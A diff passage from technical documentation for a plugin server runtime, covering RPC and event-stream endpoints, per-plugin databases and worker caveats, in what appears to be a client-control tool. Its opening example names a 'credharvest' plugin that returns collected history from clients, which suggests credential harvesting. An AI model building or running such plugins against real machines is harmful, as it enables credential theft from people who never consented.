/api/plugins/credharvest/rpc {method:"list_all"}` and gets the full history back from `plugin.db`, regardless of which clients are currently online. + +### API surface (server runtime) + +- `POST /api/plugins//rpc` → `{ method: string, params?: any }` returns `{ ok, result }` or `{ ok:false, error }`. Requires `clients:control`. The method must exist on the plugin's `rpc` map. RPCs time out after 30 s. +- `GET /api/plugins//stream` → `text/event-stream`. Requires `clients:control`. Each `ctx.broadcast(channel, data)` becomes an SSE event named `channel` whose `data` field is `JSON.stringify(data)`. +- `GET /api/plugins` now includes two extra fields per plugin: + - `hasServer: boolean` — the bundle ships a `server.js`. + - `serverRunning: boolean` — the worker is live right now. + +### Caveats + +- **One worker per plugin.** RPC calls into the same plugin serialise. Long-running RPCs block other RPCs to that plugin (not other plugins). Do heavy work in `onEvent` and let RPCs read pre-computed state. +- **`bun:sqlite` is single-writer per database file.** Since each plugin gets its own DB this is fine; just don't open the same `plugin.db` from another process. +- **The worker is not a security sandbox.** It has the same filesystem and network access as the main server. Treat `server.js` with the same trust as your other server code, and lean on plugin signing if you load third-party bundles. +- **Compiled binaries.** Workers spawned from the bundled `--compile` build need the worker host module embedded; if you ship that build, run `bun build` with the worker host included as an entry point or stick with `bun run` for now. +- **No automatic restart on worker crash.** A crashed worker is logged and `pluginState.lastError` is set, but it will not loop-restart on its own. Disable + re-enable the plugin to bring it back up. + --- ## Plugin Signing